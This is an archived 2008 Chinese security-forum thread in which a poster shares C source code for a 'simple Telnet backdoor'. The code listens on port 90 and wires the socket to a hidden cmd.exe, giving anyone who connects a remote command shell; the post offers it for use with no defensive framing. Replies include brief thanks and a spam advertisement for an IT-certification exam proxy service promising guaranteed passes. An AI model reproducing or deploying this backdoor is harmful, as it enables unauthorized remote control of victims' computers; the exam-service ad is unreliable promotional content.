安全基地's Archiver

哭泣之剑 发表于 2008-6-5 20:58

简易Telnet后门源代码

简易Telnet后门源代码
/////////VC 6.0编译通过///////////////////////////////////
#include
#include
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);

varB = 1;
while (true)
{
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);

send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}

void main()
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

do{
Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}

while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}

galangzi 发表于 2008-8-13 08:28

辛苦鸟·
lz·

自由遁 发表于 2008-8-14 09:16

貌似放错板块了吧

kdykdy123 发表于 2008-8-29 10:04

代理CCNA MCSE等国际IT认证考试
ITRENZHENG成立于2003年10月,是直接依附于PROMETRIC与VUE两家国际考试中心的认证考试
代理服务提供商,
所代理的IT认证考试包括CCNA 、CCDA、CCNP、CCDP、CCIE、MCSE、MCSE2003、MCSD、MCSA
、CIW、ORACLE、SCJP等三十余种。
现在已经在全国5大城市及台湾都拥 有了联盟的PROMETRIC与VUE考试中心 。
ITRENZHENG拥有多位培训中心的在职讲师,他们拥有丰富的教学经验,长期身临考场第一
线,随时把 握考试动态,为我们100%一次通过的承诺提供了最有力的保障。在我们这里参
加考试,既能够快速的通过考试,又可以避免了许多不必要的麻烦.
详情请登录:[url]http://www.pass1000.com[/url]
论坛:[url]http://www.pass1000.net[/url]  
QQ:692282
MSN:it_renzheng@hotmail.com

页: [1]

Powered by 安全基地 Archiver 6.1.0  © 2001-2007 本SEO插件由网络人站长论坛出品